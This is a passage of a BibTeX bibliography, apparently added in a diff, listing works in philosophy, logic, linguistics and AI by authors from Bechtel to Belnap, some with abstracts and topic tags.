+@book{ bechtel-graham:1997a, + author = {William Bechtel and George Graham}, + title = {A Companion to Cognitive Science}, + publisher = {Blackwell Publishers}, + year = {1997}, + address = {Oxford}, + topic = {cognitive-science-survey;} + } + +@article{ bechtel-mundale:1999a, + author = {William Bechtel and Jennifer Mundale}, + title = {Multiple Realizability Revisited: Linking + Cognitive and Neural States}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {2}, + pages = {175--207}, + topic = {philosophy-of-cogscifoundations-of-psychology; + neurocognition;} + } + +@article{ beck_jc-fox:2000a, + author = {J. Christopher Beck and Mark S. Fox}, + title = {Dynamic Problem Structure Analysis as a Basis for + Constraint-Directed Scheduling Heuristics}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {1}, + pages = {31--81}, + acontentnote = {Abstract: + While the exploitation of problem structure by heuristic search + techniques has a long history in AI (Simon, 1973), many of the + advances in constraint-directed scheduling technology in the + 1990s have resulted from the creation of powerful propagation + techniques. In this paper, we return to the hypothesis that + understanding of problem structure plays a critical role in + successful heuristic search even in the presence of powerful + propagators. In particular, we examine three heuristic + commitment techniques and show that the two techniques based on + dynamic problem structure analysis achieve superior performance + across all experiments. More interestingly, we demonstrate that + the heuristic commitment technique that exploits dynamic + resource-level non-uniformities achieves superior overall + performance when those non-uniformities are present in the + problem instances. + } , + topic = {scheduling;constraint-based-reasoning;heuristics;search;} + } + +@article{ beck_jc-fox:2000b, + author = {J. Christopher Beck and Mark S. Fox}, + title = {Constraint-Directed Techniques for Scheduling Alternative + Activities}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {121}, + number = {1--2}, + pages = {211--250}, + topic = {constraint-based-reasoning;scheduling;} + } + +@article{ beck_s:1996a, + author = {Sigrid Beck}, + title = {Quantified Structures as Barriers for {LF} Movement}, + journal = {Natural Language Semantics}, + year = {1996}, + volume = {4}, + number = {1}, + pages = {1--56}, + topic = {nl-quantifiers;LF;} + } + +@article{ beck_s:1997a, + author = {Sigrid Beck}, + title = {On the Semantics of Comparative Conditionals}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {3}, + pages = {229--271}, + topic = {nl-semantics;comparative-constructions;} + } + +@incollection{ beck_s:1999a, + author = {Sigrid Beck}, + title = {Plural Predication and Partitional Discourses}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {67--72}, + address = {Amsterdam}, + topic = {nl-semantics;plural;nl-quantifiers;} + } + +@article{ beck_s-rullmann:1999a, + author = {Sigrid Beck and Hotze Rullmann}, + title = {A Flexible Approach to Exhaustivity in Questions}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {3}, + pages = {249--298}, + topic = {interrogatives;} + } + +@article{ beck_s:2000a, + author = {Sigrid Beck}, + title = {The Semantics of `Different': Comparison Operator and Relational + Adjective}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {2}, + pages = {101--139}, + topic = {identity;sameness/difference;comparative-constructions;} + } + +@article{ beck_s-sutherland:2000a, + author = {Sigrid Beck and Uli Sutherland}, + title = {Cumulation is Needed: A Reply to {W}inter (2000)}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {4}, + pages = {349--371}, + xref = {Discussion of winter:2000a.}, + topic = {nl-semantics;plural;distributive/collective-readings;} + } + +@article{ beck_s:2001a, + author = {Sigrid Beck}, + title = {Reciprocals are Definites}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {9}, + number = {1}, + pages = {69--138}, + topic = {reciprocal-constructions;} + } + +@article{ becker:1972a, + author = {L. Becker}, + title = {Foreknowledge and Predestination}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {321}, + pages = {138--141}, + topic = {(in)determinism;foreknowledge;} + } + +@article{ becker_a-geiger:1996a, + author = {Ann Becker and Dan Geiger}, + title = {Optimization of {P}earl's Method of Conditioning and + Greedy-Like Approximation Algorithms for the Vertex + Feedback Set Problem}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {1}, + pages = {167--188}, + topic = {Bayesian-networks;conditioning-methods;} + } + +@article{ becker_a-geiger:2001a, + author = {Ann Becker and Dan Geiger}, + title = {A Sufficiently Fast Algorithm for Finding Close to + Optimal Clique Trees}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {125}, + number = {1--2}, + pages = {3--17}, + topic = {AI-algorithms;optimization;} + } + +@book{ becker_gs:1971a, + author = {Gary S. Becker}, + title = {The Economics of Discrimination}, + edition = {2}, + publisher = {Chicago, University of Chicago Press [}, + year = {1971}, + address = {Chicago}, + ISBN = {0226041158}, + topic = {discrimination;behavioral-economics;} + } + +@book{ becker_gs:1976a, + author = {Gary S. Becker}, + title = {The Economic Approach to Human Behavior}, + publisher = {Chicago University of Chicago Press}, + year = {1976}, + address = {Chicago}, + ISBN = {0226041115}, + topic = {behavioral-economics;} + } + +@book{ becker_gs:1996a, + author = {Gary S. Becker}, + title = {Accounting For Tastes}, + publisher = {Harvard University Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0674543564 (alk. paper)}, + topic = {market-research;preferences;consumer-behavior;} + } + +@article{ becker_l:2001a, + author = {Lon Becker}, + title = {Review of {\it } , by {J}effrey {A}lan {B}arrett}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {482--484}, + xref = {Review of: barrett:1999a.}, + topic = {foundations-of-quantum-mechanics;branching-time;} + } + +@article{ becker_s:1993a, + author = {Sue Becker}, + title = {Review of {\it Introduction to Neural and Cognitive + Modeling}, by {D}aniel {S}. {L}evine}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {113--116}, + xref = {Review of levine_ds:1991a.}, + topic = {cognitive-modeling;neurocognition;} + } + +@incollection{ becker_t:1998a, + author = {Tilman Becker}, + title = {Fully Lexicalized Head-Driven Syntactic Generation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {208--217}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;HPSG;} + } + +@inproceedings{ becker_t-etal:1998a, + author = {Tilman Becker and Wolfgang Finkler and Anne Kilger and + Peter Poller}, + title = {An Efficient Kernel for Multilingual Generation in + Speech-to-Speech Dialogue Translation } , + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {110--116}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {speech-to-speech-machine-translation;} + } + +@incollection{ beckert:1998a, + author = {Bernhard Beckert}, + title = {Rigid {E}-Unification}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;unification;} + } + +@incollection{ beckert-hanle:1998a, + author = {Bernhard Beckert and R. H\"anle}, + title = {Analytic Tableaux}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;proof-theory;} + } + +@article{ beckert-gore:2001a, + author = {Bernhard Beckert and Rajeev Gor\'e}, + title = {Free-Variable Tableaux for Propositional Modal Logics}, + journal = {Studia Logica}, + year = {2001}, + volume = {69}, + number = {1}, + pages = {59--96}, + topic = {proof-theory;semantic-tableaux;modal-logic;autoepistemic-logic;} + } + +@article{ beckman_a:2002a, + author = {Arnold Beckman}, + title = {Review of `Incompleteness Theorems and $S^i_2$ Versus + $S^{i+1}_2$' and `G\"odel Sentences of Unbounded Arithmetic', + by {G}aisi {T}akeuti}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {433--435}, + xref = {Review of: takeuti:1998a, takeuti:2000a.}, + topic = {bounded-arithmetic;P=NP-problem;} + } + +@article{ beckman_l-etal:1976a, + author = {Lennart Beckman and Anders Haraldson, \"Osten Oskarsson and + Erik Sandewall}, + title = {A Partial Evaluator, and Its Use as a Programming Tool}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {4}, + pages = {319--357}, + acontentnote = {Abstract: + Programs which perform partial evaluation, beta-expansion, and + certain optimizations on programs, are studied with respect to + implementation and application. Two implementations are + described, one ``interpretive'' partial evaluator, which + operates directly on the program to be partially evaluated, and + a ``compiling'' system, where the program to be partially + evaluated is used to generate a specialized program, which in + its turn is executed to do the partial evaluation. Three + applications with different requirements on these programs are + described. Proofs are given for the equivalence of the use of + the interpretive system and the compiling system in two of the + three cases. The general use of the partial evaluator as a tool + for the programmer in conjunction with certain programming + techniques is discussed. + } , + topic = {partial-evaluation;optimization;} + } + +@incollection{ bedau:1986a, + author = {Mark Bedau}, + title = {Cartesian Interaction}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {483--502}, + address = {Minneapolis}, + topic = {mind-body-problem;} + } + +@incollection{ bedau:1997a, + author = {Mark A. Bedau}, + title = {Weak Emergence}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {375--399}, + address = {Oxford}, + topic = {emergence;} + } + +@article{ beebee-papineau:1997a, + author = {Helen Beebee and David Papineau}, + title = {Probability as a Guide to Life}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {5}, + pages = {217--243}, + topic = {probability;foundations-of-utility;} + } + +@inproceedings{ beeferman:1996a, + author = {Scott Beeferman}, + title = {The Rhythm of lexical Stress in Prose}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {302--309}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {prosody;discourse;pragmatics;} + } + +@incollection{ beeferman-etal:1997a, + author = {Doug Beeferman and Adam Berger and John Lafferty}, + title = {Text Segmentation Using Exponential Models}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {35--46}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;statstical-nlp;corpus-tagging; + topic-extraction;} + } + +@inproceedings{ beeferman-etal:1997b, + author = {Doug Beeferman and Adam Berger and John Lafferty}, + title = {A Model of Lexical Attraction and Repulsion}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {373--380}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {speech-recognition;statistical-nlp;} + } + +@incollection{ beeferman:1998a, + author = {Doug Beeferman}, + title = {Lexical Discovery with an Enriched Semantic Network}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {135--141}, + address = {Somerset, New Jersey}, + url = + {http://www.ai.sri.com/\user{}harabagi/coling-acl98/acl_work/beeferman.ps.gz}, + topic = {nl-processing;WordNet;word-acquisition;} + } + +@article{ beer:1995a, + author = {Randall D. Beer}, + title = {A Dynamical Systems Perspective on Agent-Environment + Interaction}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {173--215}, + acontentnote = {Abstract: + Using the language of dynamical systems theory, a general + theoretical framework for the synthesis and analysis of + autonomous agents is sketched. In this framework, an agent and + its environment are modeled as two coupled dynamical systems + whose mutual interaction is in general jointly responsible for + the agent's behavior. In addition, the adaptive fit between an + agent and its environment is characterized in terms of the + satisfaction of a given constraint on the trajectories of the + coupled agent-environment system. The utility of this framework + is demonstrated by using it to first synthesize and then analyze + a walking behavior for a legged agent. + } , + topic = {agent-environment-interaction;legged-motion;robotics; + dynamic-systems;} + } + +@article{ beeri-etal:1984a, + author = {C. Beeri and M. Dowd and Ronald Fagin and Richard + Statman}, + title = {On the Structure of {A}rmstrong Relations for + Functional Dependencies}, + journal = {Journal of the {ACM}}, + year = {1984}, + volume = {31}, + number = {1}, + pages = {30--46}, + missinginfo = {A's 1st name}, + topic = {functional-dependencies;} + } + +@incollection{ beesley:1998a, + author = {Kenneth R. Beesley}, + title = {Constraining Separated Morphotactic Dependencies in Finite + State Grammars}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {118--127}, + address = {Somerset, New Jersey}, + topic = {nl-processing;finite-state-nlp;finite-state-morpology;} + } + +@inproceedings{ beesley:1998b, + author = {Kenneth R. Beesley}, + title = {Consonant Spreading in {A}rabic Stems}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {117--123}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {Arabic-language;computational-phonology;} + } + +@article{ beesley:2001a, + author = {Kenneth R. Beesley}, + title = {Review of {\it A Computational Theory of Writing Systems}, + by {R}ichard {S}proat}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {464--467}, + xref = {Review of: sproat:2000a}, + topic = {writing-systems;nl-processing;} + } + +@incollection{ beeson:1988a, + author = {Michael J. Beeson}, + title = {Computerizing Mathematics: Logic and + Computation}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {191--225}, + address = {Oxford}, + topic = {computer-assisted-science;computer-assisted-mathematics;} + } + +@inproceedings{ beeson:1998a, + author = {Michael Beeson}, + title = {Automatic Generation of Epsilon-Delta Proofs of + Continuity}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {67--83}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {theorem-proving;limit-proofs;} + } + +@inproceedings{ beetz-mcdermott_d:1992a, + author = {Michael Beetz and Drew McDermott}, + title = {Declarative Goals in Reactive Plans}, + booktitle = {Artificial Intelligence Systems: Proceedings of the First + International Conference}, + year = {1992}, + pages = {3--12}, + missinginfo = {publisher}, + topic = {planning;plan-monitoring;} + } + +@phdthesis{ beghelli:1995a, + author = {F. Beghelli}, + title = {The Phrase Structure of Quantifier Scope}, + school = {Linguistics Department, UCLA}, + year = {1995}, + type = {Ph.{D}. Dissertation}, + address = {Los Angeles, California}, + missinginfo = {A's 1st name}, + topic = {nl-quantifier-scope;} + } + +@incollection{ beghelli:1997a, + author = {Filippo Beghelli}, + title = {The Syntax of Distributivity and Pair-List Readings}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {349--408}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;distributivity-of-quantifiers;nl-quantifiers;} + } + +@incollection{ beghelli-etal:1997a, + author = {Fillipo Beghelli and Dorit Ben-Shalom and Anna Szabolski}, + title = {Variation, Distributivity, and the Illusion of Branching}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {29--69}, + address = {Dordrecht}, + topic = {nl-quantifiers;distributivity-of-quantifiers; + branching-quantifiers;} + } + +@incollection{ beghelli-stowell:1997a, + author = {Fillipo Beghelli and Tim Stowell}, + title = {Distributivity and Negation: The Syntax of {\it Each} and + {\it Every}}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {71--107}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;distributivity-of-quantifiers;} + } + +@book{ behforooz-hudson_fj:1996a, + author = {Ali Behforooz and Frederick J. Hudson}, + title = {Software Engineering Fundamentals}, + publisher = {Oxford University Press}, + year = {1996}, + address = {New York}, + ISBN = {0195105397 (cloth)}, + topic = {software-engineering-text;} + } + +@article{ behre:1965a, + author = {F. Behre}, + title = {J.L. Austin's `If'}, + journal = {English Studies}, + year = {1965}, + volume = {46}, + pages = {85--92}, + missinginfo = {A's 1st name, number}, + topic = {JL-Austin;conditionals;} + } + +@article{ beklemishev:1996a, + author = {Lev D. Beklemishev}, + title = {Bimodal Logics for Extensions of Arithmetical Theories}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {1}, + pages = {91--124}, + topic = {provability-logic;} + } + +@book{ bekoff-jamieson:1997a, + editor = {Marc Bekoff and Dale Jamieson}, + title = {Readings in Animal Cognition}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {animal-cognition;} + } + +@article{ belew:1993a, + author = {Richard K. Belew}, + title = {Review of {\it Neuroscience and Connectionist Theory: + Something Old, Something New, Something Borrowed, $\ldots$}, + edited by {M}ark {A}. {G}luck and {D}avid {E}. {R}umelhart}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {153--161}, + topic = {connectionism;neurocognition;} + } + +@incollection{ belkin:1994a, + author = {Nicholas J. Belkin}, + title = {Design Principles for Electronic Textual Resources: + Investigating Uses of Scholarly Information}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {479--488}, + address = {Pisa and Dordrecht}, + topic = {computer-assisted-scholarship;computers-in-the-humanities;} + } + +@incollection{ bell_de:1977a, + author = {David E. Bell}, + title = {A Decision Analysis of Objectives for a Forest Pest + Problem}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {389--421}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@book{ bell_de-etal:1977a, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + title = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;foundations-of-utility;} + } + +@incollection{ bell_de-etal:1977b, + author = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + title = {Introduction and Overview}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {1--14}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;foundations-of-utility;} + } + +@incollection{ bell_g:1996a, + author = {Gordon Bell}, + title = {Great and {\it Big} Ideas in Computer Structures}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {189--212}, + topic = {computer-architectures;computer-technology;parallel-processing;} + } + +@phdthesis{ bell_j2:1988a, + author = {John Bell}, + title = {Predictive Conditionals, Nonmonotonicity, and Reasoning + about the Future}, + school = {University of Essex}, + year = {1988}, + type = {Ph.{D}. Dissertation}, + address = {Colchester}, + topic = {conditionals;nonmonotonic-reasoning;temporal-reasoning;} + } + +@article{ bell_j2:1990a, + author = {John Bell}, + title = {The Logic of Nonmonotonicity}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {41}, + number = {3}, + pages = {365--374}, + topic = {nonmonotonic-logic;} + } + +@incollection{ bell_j2:1991a, + author = {John Bell}, + title = {Pragmatic Logics}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {50--60}, + address = {San Mateo, California}, + topic = {kr;kr-course;nonmonotonic-logic;conditional-logic; + model-preference;} + } + +@article{ bell_j2:1991b, + author = {John Bell}, + title = {Extended Causal Theories}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {2}, + pages = {211--224}, + contentnote = {Solves some technical problems in Shoham's dissertation.}, + topic = {Yale-shooting-problem;causality;temporal-reasoning;} + } + +@incollection{ bell_j2:1995a, + author = {John Bell}, + title = {Pragmatic Reasoning, A Model-Based Theory}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {1--27}, + address = {Dordrecht}, + topic = {discourse;implicature;nonmonotonic-reasoning;pragmatics;} + } + +@inproceedings{ bell_j2-huang:1997a1, + author = {John Bell and Zhishing Huang}, + title = {Dynamic Goal Hierarchies}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {9--17}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + xref = {Republication: bell_j2-huang:1997a2.}, + topic = {qualitative-utility;preference-dynamics;foundations-of-utility;} + } + +@incollection{ bell_j2-huang:1997a2, + author = {John Bell and Zhishing Huang}, + title = {Dynamic Obligation Hierarchies}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {231--246}, + address = {Amsterdam}, + xref = {Previous publication: bell_j2-huang:1997a2.}, + topic = {qualitative-utility;preference-dynamics;foundations-of-utility;} + } + +@inproceedings{ bell_j2:1998a, + author = {John Bell}, + title = {Causation, Conditionals and Common Sense}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {1--11}, + topic = {causality;temporal-reasoning;planning-formalisms; + nonmonotonic-reasoning;} + } + +@incollection{ bell_j2:1999a, + author = {John Bell}, + title = {Pragmatic Reasoning: Inferring Contexts}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {42--53}, + address = {Berlin}, + topic = {context;discourse-representation-theory; + nonmonotonic-logic;computer-vision;} + } + +@book{ bell_j2:1999b, + editor = {John Bell}, + title = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + publisher = {International Joint Conference on Artificial Intelligence}, + year = {1999}, + address = {Murray Hill, New Jersey}, + topic = {practical-reasoning;} + } + +@inproceedings{ bell_j2:1999c, + author = {John Bell}, + title = {Primary and Secondary Events}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {65--72}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;qualification-problem;ramification-problem; + defeasible-causality;} + } + +@incollection{ bell_j2:2001a, + author = {John Bell}, + title = {Pragmatic Reasoning: Pragmatic Semantics and Semantic + Pragmatics}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {45--58}, + address = {Berlin}, + topic = {context;nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@inproceedings{ bell_jg:2000a, + author = {John G. Bell}, + title = {the Representation of Discrete Multi-Resolution Spatial + Knowledge}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {38--49}, + topic = {spatial-representation;} + } + +@article{ bell_jl:1993a, + author = {John L. Bell}, + title = {Hilbert's $\epsilon$-Operator and Classical Logic}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {1}, + pages = {1--18}, + topic = {epsilon-operator;} + } + +@article{ bell_jl:1999a, + author = {John L. Bell}, + title = {Frege's Theorem in a Constructive Setting}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {2}, + pages = {486--488}, + topic = {set-theory;constructive-mathematics;} + } + +@article{ bell_jl:2000a, + author = {John L. Bell}, + title = {Sets and Classes as Many}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {6}, + pages = {585--601}, + topic = {foundations-of-set-theory;} + } + +@article{ bell_jm:1973a, + author = {J.M. Bell}, + title = {What is Referential Opacity?}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {155--180}, + topic = {referential-opacity;} + } + +@incollection{ bell_js:1989a, + author = {Jonn S. Bell}, + title = {Six Possible Worlds of Quantum Mechanics}, + booktitle = {Possible Worlds in Humanities, Arts and Sciences}, + publisher = {Walter de Gruyter}, + year = {1989}, + editor = {Sture All\'en}, + pages = {359--373}, + address = {Berlin}, + topic = {foundations-of-quantum-mechanics;} + } + +@article{ bellott-etal:1999a, + author = {P. Bellott and J-P. Cottin and B. Robinet and D. Sarni + and J. Leneutre and E. Zarpass}, + title = {Prolegomena to a Logic of Causality and Dynamism}, + journal = {Studia Logica}, + year = {1999}, + volume = {62}, + number = {1}, + pages = {77--105}, + topic = {linear-logic;proof-theory;causality;} + } + +@techreport{ belnap:1963a, + author = {Nuel D. {Belnap, Jr.}}, + title = {An Analysis of Questions: Preliminary Report}, + institution = {System Development Corporation}, + number = {TM-1287/000/00}, + year = {1963}, + address = {Santa Monica}, + topic = {interrogatives;} + } + +@article{ belnap:1972a, + author = {Nuel D. {Belnap, Jr.}}, + title = {{S-P} Interrogatives}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {3--4}, + pages = {331}, + topic = {interrogatives;} + } + +@incollection{ belnap:1976a, + author = {Nuel D. {Belnap, Jr.}}, + year = {1976}, + title = {How a Computer Should Think}, + booktitle = {Contemporary Aspects of Philosophy}, + editor = {Gilbert Ryle}, + address = {Stocksfield}, + publisher = {Oriel Press}, + pages = {30--56}, + topic = {multivalued-relevance-logic;4-valued-logic;} + } + +@book{ belnap-steele_tb:1976a, + author = {{Nuel D. Belnap, Jr.} and {Thomas B. Steele, Jr.}}, + title = {The Logic of Questions and Answers}, + publisher = {Yale University Press}, + year = {1976}, + address = {New Haven}, + topic = {interrogatives;} + } + +@incollection{ belnap:1977a, + author = {Nuel D. {Belnap, Jr.}}, + title = {A Useful Four-Valued Logic}, + booktitle = {Modern Uses of Multiple-Valued Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + editor = {J. Michael Dunn and George Epstein}, + address = {Dordrecht}, + topic = {many-valued-logic;} + } + +@article{ belnap-etal:1980a, + author = {Nuel D. {Belnap, Jr.} and Anil Gupta and J. Michael Dunn}, + title = {A Consequtive Calculus for Positive Relevant Implication + with Necessity}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {4}, + pages = {343--362}, + topic = {proof-theory;relevance-logic;} + } + +@incollection{ belnap:1982a, + author = {Nuel D. {Belnap, Jr.}}, + title = {Questions and Answers in {M}ontague Grammar}, + booktitle = {Processes, Beliefs, and Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1982}, + editor = {Stanley Peters and Esa Saarinen}, + pages = {165--198}, + address = {Dordrecht}, + topic = {nl-semantics;interrogatives;montague-grammar;} + } + +@incollection{ belnap:1982b, + author = {Nuel D. Belnap}, + title = {Approaches to the Semantics of Questions in Natural + Language {II}}, + booktitle = {320311: Philosophical Essays Dedicated to {L}ennart + {\AA}qvist on His Fiftieth Birthday}, + publisher = {Department of Philosophy, University of Uppsala}, + year = {1982}, + editor = {Tom Pauli}, + pages = {16--33}, + address = {Uppsala}, + topic = {nl-semantics;interrogatives;montague-grammar;} + } + +@article{ belnap:1982c, + author = {Nuel D. {Belnap, Jr.}}, + title = {Gupta's Rule of Revision Theory of Truth}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {1}, + pages = {103--116}, + topic = 